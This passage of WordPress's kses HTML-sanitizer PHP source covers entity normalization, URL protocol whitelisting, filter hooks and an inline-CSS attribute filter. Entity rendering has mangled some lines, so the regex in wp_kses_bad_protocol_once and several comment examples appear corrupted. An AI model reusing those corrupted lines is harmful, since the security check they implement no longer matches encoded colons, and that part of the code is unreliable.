| * other slashes alone. It's really weird, but the quoting from | |
| * preg_replace(//e) seems to require this. | |
| * | |
| * @since 1.0.0 | |
| * | |
| * @param string $string String to strip slashes | |
| * @return string Fixed string with quoted slashes | |
| */ | |
| function wp_kses_stripslashes($string) { | |
| return preg_replace('%\\\\"%', '"', $string); | |
| } | |
| /** | |
| * Goes through an array and changes the keys to all lower case. | |
| * | |
| * @since 1.0.0 | |
| * | |
| * @param array $inarray Unfiltered array | |
| * @return array Fixed array with all lowercase keys | |
| */ | |
| function wp_kses_array_lc($inarray) { | |
| $outarray = array (); | |
| foreach ( (array) $inarray as $inkey => $inval) { | |
| $outkey = strtolower($inkey); | |
| $outarray[$outkey] = array (); | |
| foreach ( (array) $inval as $inkey2 => $inval2) { | |
| $outkey2 = strtolower($inkey2); | |
| $outarray[$outkey][$outkey2] = $inval2; | |
| } # foreach $inval | |
| } # foreach $inarray | |
| return $outarray; | |
| } | |
| /** | |
| * Removes the HTML JavaScript entities found in early versions of Netscape 4. | |
| * | |
| * @since 1.0.0 | |
| * | |
| * @param string $string | |
| * @return string | |
| */ | |
| function wp_kses_js_entities($string) { | |
| return preg_replace('%&\s*\{[^}]*(\}\s*;?|$)%', '', $string); | |
| } | |
| /** | |
| * Handles parsing errors in wp_kses_hair(). | |
| * | |
| * The general plan is to remove everything to and including some whitespace, | |
| * but it deals with quotes and apostrophes as well. | |
| * | |
| * @since 1.0.0 | |
| * | |
| * @param string $string | |
| * @return string | |
| */ | |
| function wp_kses_html_error($string) { | |
| return preg_replace('/^("[^"]*("|$)|\'[^\']*(\'|$)|\S)*\s*/', '', $string); | |
| } | |
| /** | |
| * Sanitizes content from bad protocols and other characters. | |
| * | |
| * This function searches for URL protocols at the beginning of $string, while | |
| * handling whitespace and HTML entities. | |
| * | |
| * @since 1.0.0 | |
| * | |
| * @param string $string Content to check for bad protocols | |
| * @param string $allowed_protocols Allowed protocols | |
| * @return string Sanitized content | |
| */ | |
| function wp_kses_bad_protocol_once($string, $allowed_protocols, $count = 1 ) { | |
| $string2 = preg_split( '/:|�*58;|�*3a;/i', $string, 2 ); | |
| if ( isset($string2[1]) && ! preg_match('%/\?%', $string2[0]) ) { | |
| $string = trim( $string2[1] ); | |
| $protocol = wp_kses_bad_protocol_once2( $string2[0], $allowed_protocols ); | |
| if ( 'feed:' == $protocol ) { | |
| if ( $count > 2 ) | |
| return ''; | |
| $string = wp_kses_bad_protocol_once( $string, $allowed_protocols, ++$count ); | |
| if ( empty( $string ) ) | |
| return $string; | |
| } | |
| $string = $protocol . $string; | |
| } | |
| return $string; | |
| } | |
| /** | |
| * Callback for wp_kses_bad_protocol_once() regular expression. | |
| * | |
| * This function processes URL protocols, checks to see if they're in the | |
| * whitelist or not, and returns different data depending on the answer. | |
| * | |
| * @access private | |
| * @since 1.0.0 | |
| * | |
| * @param string $string URI scheme to check against the whitelist | |
| * @param string $allowed_protocols Allowed protocols | |
| * @return string Sanitized content | |
| */ | |
| function wp_kses_bad_protocol_once2( $string, $allowed_protocols ) { | |
| $string2 = wp_kses_decode_entities($string); | |
| $string2 = preg_replace('/\s/', '', $string2); | |
| $string2 = wp_kses_no_null($string2); | |
| $string2 = strtolower($string2); | |
| $allowed = false; | |
| foreach ( (array) $allowed_protocols as $one_protocol ) | |
| if ( strtolower($one_protocol) == $string2 ) { | |
| $allowed = true; | |
| break; | |
| } | |
| if ($allowed) | |
| return "$string2:"; | |
| else | |
| return ''; | |
| } | |
| /** | |
| * Converts and fixes HTML entities. | |
| * | |
| * This function normalizes HTML entities. It will convert "AT&T" to the correct | |
| * "AT&T", ":" to ":", "&#XYZZY;" to "&#XYZZY;" and so on. | |
| * | |
| * @since 1.0.0 | |
| * | |
| * @param string $string Content to normalize entities | |
| * @return string Content with normalized entities | |
| */ | |
| function wp_kses_normalize_entities($string) { | |
| # Disarm all entities by converting & to & | |
| $string = str_replace('&', '&', $string); | |
| # Change back the allowed entities in our entity whitelist | |
| $string = preg_replace_callback('/&([A-Za-z]{2,8});/', 'wp_kses_named_entities', $string); | |
| $string = preg_replace_callback('/&#(0*[0-9]{1,7});/', 'wp_kses_normalize_entities2', $string); | |
| $string = preg_replace_callback('/&#[Xx](0*[0-9A-Fa-f]{1,6});/', 'wp_kses_normalize_entities3', $string); | |
| return $string; | |
| } | |
| /** | |
| * Callback for wp_kses_normalize_entities() regular expression. | |
| * | |
| * This function only accepts valid named entity references, which are finite, | |
| * case-sensitive, and highly scrutinized by HTML and XML validators. | |
| * | |
| * @since 3.0.0 | |
| * | |
| * @param array $matches preg_replace_callback() matches array | |
| * @return string Correctly encoded entity | |
| */ | |
| function wp_kses_named_entities($matches) { | |
| global $allowedentitynames; | |
| if ( empty($matches[1]) ) | |
| return ''; | |
| $i = $matches[1]; | |
| return ( ( ! in_array($i, $allowedentitynames) ) ? "&$i;" : "&$i;" ); | |
| } | |
| /** | |
| * Callback for wp_kses_normalize_entities() regular expression. | |
| * | |
| * This function helps wp_kses_normalize_entities() to only accept 16-bit values | |
| * and nothing more for &#number; entities. | |
| * | |
| * @access private | |
| * @since 1.0.0 | |
| * | |
| * @param array $matches preg_replace_callback() matches array | |
| * @return string Correctly encoded entity | |
| */ | |
| function wp_kses_normalize_entities2($matches) { | |
| if ( empty($matches[1]) ) | |
| return ''; | |
| $i = $matches[1]; | |
| if (valid_unicode($i)) { | |
| $i = str_pad(ltrim($i,'0'), 3, '0', STR_PAD_LEFT); | |
| $i = "&#$i;"; | |
| } else { | |
| $i = "&#$i;"; | |
| } | |
| return $i; | |
| } | |
| /** | |
| * Callback for wp_kses_normalize_entities() for regular expression. | |
| * | |
| * This function helps wp_kses_normalize_entities() to only accept valid Unicode | |
| * numeric entities in hex form. | |
| * | |
| * @access private | |
| * | |
| * @param array $matches preg_replace_callback() matches array | |
| * @return string Correctly encoded entity | |
| */ | |
| function wp_kses_normalize_entities3($matches) { | |
| if ( empty($matches[1]) ) | |
| return ''; | |
| $hexchars = $matches[1]; | |
| return ( ( ! valid_unicode(hexdec($hexchars)) ) ? "&#x$hexchars;" : '&#x'.ltrim($hexchars,'0').';' ); | |
| } | |
| /** | |
| * Helper function to determine if a Unicode value is valid. | |
| * | |
| * @param int $i Unicode value | |
| * @return bool True if the value was a valid Unicode number | |
| */ | |
| function valid_unicode($i) { | |
| return ( $i == 0x9 || $i == 0xa || $i == 0xd || | |
| ($i >= 0x20 && $i <= 0xd7ff) || | |
| ($i >= 0xe000 && $i <= 0xfffd) || | |
| ($i >= 0x10000 && $i <= 0x10ffff) ); | |
| } | |
| /** | |
| * Convert all entities to their character counterparts. | |
| * | |
| * This function decodes numeric HTML entities (A and A). It doesn't do | |
| * anything with other entities like ä, but we don't need them in the URL | |
| * protocol whitelisting system anyway. | |
| * | |
| * @since 1.0.0 | |
| * | |
| * @param string $string Content to change entities | |
| * @return string Content after decoded entities | |
| */ | |
| function wp_kses_decode_entities($string) { | |
| $string = preg_replace_callback('/&#([0-9]+);/', '_wp_kses_decode_entities_chr', $string); | |
| $string = preg_replace_callback('/&#[Xx]([0-9A-Fa-f]+);/', '_wp_kses_decode_entities_chr_hexdec', $string); | |
| return $string; | |
| } | |
| /** | |
| * Regex callback for wp_kses_decode_entities() | |
| * | |
| * @param array $match preg match | |
| * @return string | |
| */ | |
| function _wp_kses_decode_entities_chr( $match ) { | |
| return chr( $match[1] ); | |
| } | |
| /** | |
| * Regex callback for wp_kses_decode_entities() | |
| * | |
| * @param array $match preg match | |
| * @return string | |
| */ | |
| function _wp_kses_decode_entities_chr_hexdec( $match ) { | |
| return chr( hexdec( $match[1] ) ); | |
| } | |
| /** | |
| * Sanitize content with allowed HTML Kses rules. | |
| * | |
| * @since 1.0.0 | |
| * @uses $allowedtags | |
| * | |
| * @param string $data Content to filter, expected to be escaped with slashes | |
| * @return string Filtered content | |
| */ | |
| function wp_filter_kses($data) { | |
| global $allowedtags; | |
| return addslashes( wp_kses(stripslashes( $data ), $allowedtags) ); | |
| } | |
| /** | |
| * Sanitize content with allowed HTML Kses rules. | |
| * | |
| * @since 2.9.0 | |
| * @uses $allowedtags | |
| * | |
| * @param string $data Content to filter, expected to not be escaped | |
| * @return string Filtered content | |
| */ | |
| function wp_kses_data($data) { | |
| global $allowedtags; | |
| return wp_kses( $data , $allowedtags ); | |
| } | |
| /** | |
| * Sanitize content for allowed HTML tags for post content. | |
| * | |
| * Post content refers to the page contents of the 'post' type and not $_POST | |
| * data from forms. | |
| * | |
| * @since 2.0.0 | |
| * @uses $allowedposttags | |
| * | |
| * @param string $data Post content to filter, expected to be escaped with slashes | |
| * @return string Filtered post content with allowed HTML tags and attributes intact. | |
| */ | |
| function wp_filter_post_kses($data) { | |
| global $allowedposttags; | |
| return addslashes ( wp_kses(stripslashes( $data ), $allowedposttags) ); | |
| } | |
| /** | |
| * Sanitize content for allowed HTML tags for post content. | |
| * | |
| * Post content refers to the page contents of the 'post' type and not $_POST | |
| * data from forms. | |
| * | |
| * @since 2.9.0 | |
| * @uses $allowedposttags | |
| * | |
| * @param string $data Post content to filter | |
| * @return string Filtered post content with allowed HTML tags and attributes intact. | |
| */ | |
| function wp_kses_post($data) { | |
| global $allowedposttags; | |
| return wp_kses( $data , $allowedposttags ); | |
| } | |
| /** | |
| * Strips all of the HTML in the content. | |
| * | |
| * @since 2.1.0 | |
| * | |
| * @param string $data Content to strip all HTML from | |
| * @return string Filtered content without any HTML | |
| */ | |
| function wp_filter_nohtml_kses($data) { | |
| return addslashes ( wp_kses(stripslashes( $data ), array()) ); | |
| } | |
| /** | |
| * Adds all Kses input form content filters. | |
| * | |
| * All hooks have default priority. The wp_filter_kses() function is added to | |
| * the 'pre_comment_content' and 'title_save_pre' hooks. | |
| * | |
| * The wp_filter_post_kses() function is added to the 'content_save_pre', | |
| * 'excerpt_save_pre', and 'content_filtered_save_pre' hooks. | |
| * | |
| * @since 2.0.0 | |
| * @uses add_filter() See description for what functions are added to what hooks. | |
| */ | |
| function kses_init_filters() { | |
| // Normal filtering. | |
| add_filter('pre_comment_content', 'wp_filter_kses'); | |
| add_filter('title_save_pre', 'wp_filter_kses'); | |
| // Post filtering | |
| add_filter('content_save_pre', 'wp_filter_post_kses'); | |
| add_filter('excerpt_save_pre', 'wp_filter_post_kses'); | |
| add_filter('content_filtered_save_pre', 'wp_filter_post_kses'); | |
| } | |
| /** | |
| * Removes all Kses input form content filters. | |
| * | |
| * A quick procedural method to removing all of the filters that kses uses for | |
| * content in WordPress Loop. | |
| * | |
| * Does not remove the kses_init() function from 'init' hook (priority is | |
| * default). Also does not remove kses_init() function from 'set_current_user' | |
| * hook (priority is also default). | |
| * | |
| * @since 2.0.6 | |
| */ | |
| function kses_remove_filters() { | |
| // Normal filtering. | |
| remove_filter('pre_comment_content', 'wp_filter_kses'); | |
| remove_filter('title_save_pre', 'wp_filter_kses'); | |
| // Post filtering | |
| remove_filter('content_save_pre', 'wp_filter_post_kses'); | |
| remove_filter('excerpt_save_pre', 'wp_filter_post_kses'); | |
| remove_filter('content_filtered_save_pre', 'wp_filter_post_kses'); | |
| } | |
| /** | |
| * Sets up most of the Kses filters for input form content. | |
| * | |
| * If you remove the kses_init() function from 'init' hook and | |
| * 'set_current_user' (priority is default), then none of the Kses filter hooks | |
| * will be added. | |
| * | |
| * First removes all of the Kses filters in case the current user does not need | |
| * to have Kses filter the content. If the user does not have unfiltered_html | |
| * capability, then Kses filters are added. | |
| * | |
| * @uses kses_remove_filters() Removes the Kses filters | |
| * @uses kses_init_filters() Adds the Kses filters back if the user | |
| * does not have unfiltered HTML capability. | |
| * @since 2.0.0 | |
| */ | |
| function kses_init() { | |
| kses_remove_filters(); | |
| if (current_user_can('unfiltered_html') == false) | |
| kses_init_filters(); | |
| } | |
| add_action('init', 'kses_init'); | |
| add_action('set_current_user', 'kses_init'); | |
| /** | |
| * Inline CSS filter | |
| * | |
| * @since 2.8.1 | |
| */ | |
| function safecss_filter_attr( $css, $deprecated = '' ) { | |
| if ( !empty( $deprecated ) ) | |
| _deprecated_argument( __FUNCTION__, '2.8.1' ); // Never implemented | |
| $css = wp_kses_no_null($css); | |
| $css = str_replace(array("\n","\r","\t"), '', $css); | |
| if ( preg_match( '%[\\(&=}]|/\*%', $css ) ) // remove any inline css containing \ ( & } = or comments | |
| return ''; | |
| $css_array = explode( ';', trim( $css ) ); | |
| $allowed_attr = apply_filters( 'safe_style_css', array( 'text-align', 'margin', 'color', 'float', | |
| 'border', 'background', 'background-color', 'border-bottom', 'border-bottom-color', | |
| 'border-bottom-style', 'border-bottom-width', 'border-collapse', 'border-color', 'border-left', | |
| 'border-left-color', 'border-left-style', 'border-left-width', 'border-right', 'border-right-color', | |
| 'border-right-style', 'border-right-width', 'border-spacing', 'border-style', 'border-top', | |
| 'border-top-color', 'border-top-style', 'border-top-width', 'border-width', 'caption-side', | |
| 'clear', 'cursor', 'direction', 'font', 'font-family', 'font-size', 'font-style', | |
| 'font-variant', 'font-weight', 'height', 'letter-spacing', 'line-height', 'margin-bottom', | |
| 'margin-left', 'margin-right', 'margin-top', 'overflow', 'padding', 'padding-bottom', | |
| 'padding-left', 'padding-right', 'padding-top', 'text-decoration', 'text-indent', 'vertical-align', | |
| 'width' ) ); | |
| if ( empty($allowed_attr) ) | |
| return $css; | |
| $css = ''; | |
| foreach ( $css_array as $css_item ) { | |
| if ( $css_item == '' ) | |
| continue; | |
| $css_item = trim( $css_item ); | |
| $found = false; | |
| if ( strpos( $css_item, ':' ) === false ) { | |
| $found = true; | |
| } else { | |
| $parts = split( ':', $css_item ); | |
| if ( in_array( trim( $parts[0] ), $allowed_attr ) ) | |
| $found = true; | |
| } | |
| if ( $found ) { | |
| if( $css != '' ) | |
| $css .= ';'; | |
| $css .= $css_item; | |
| } | |
| } | |
| return $css; | |
| } |
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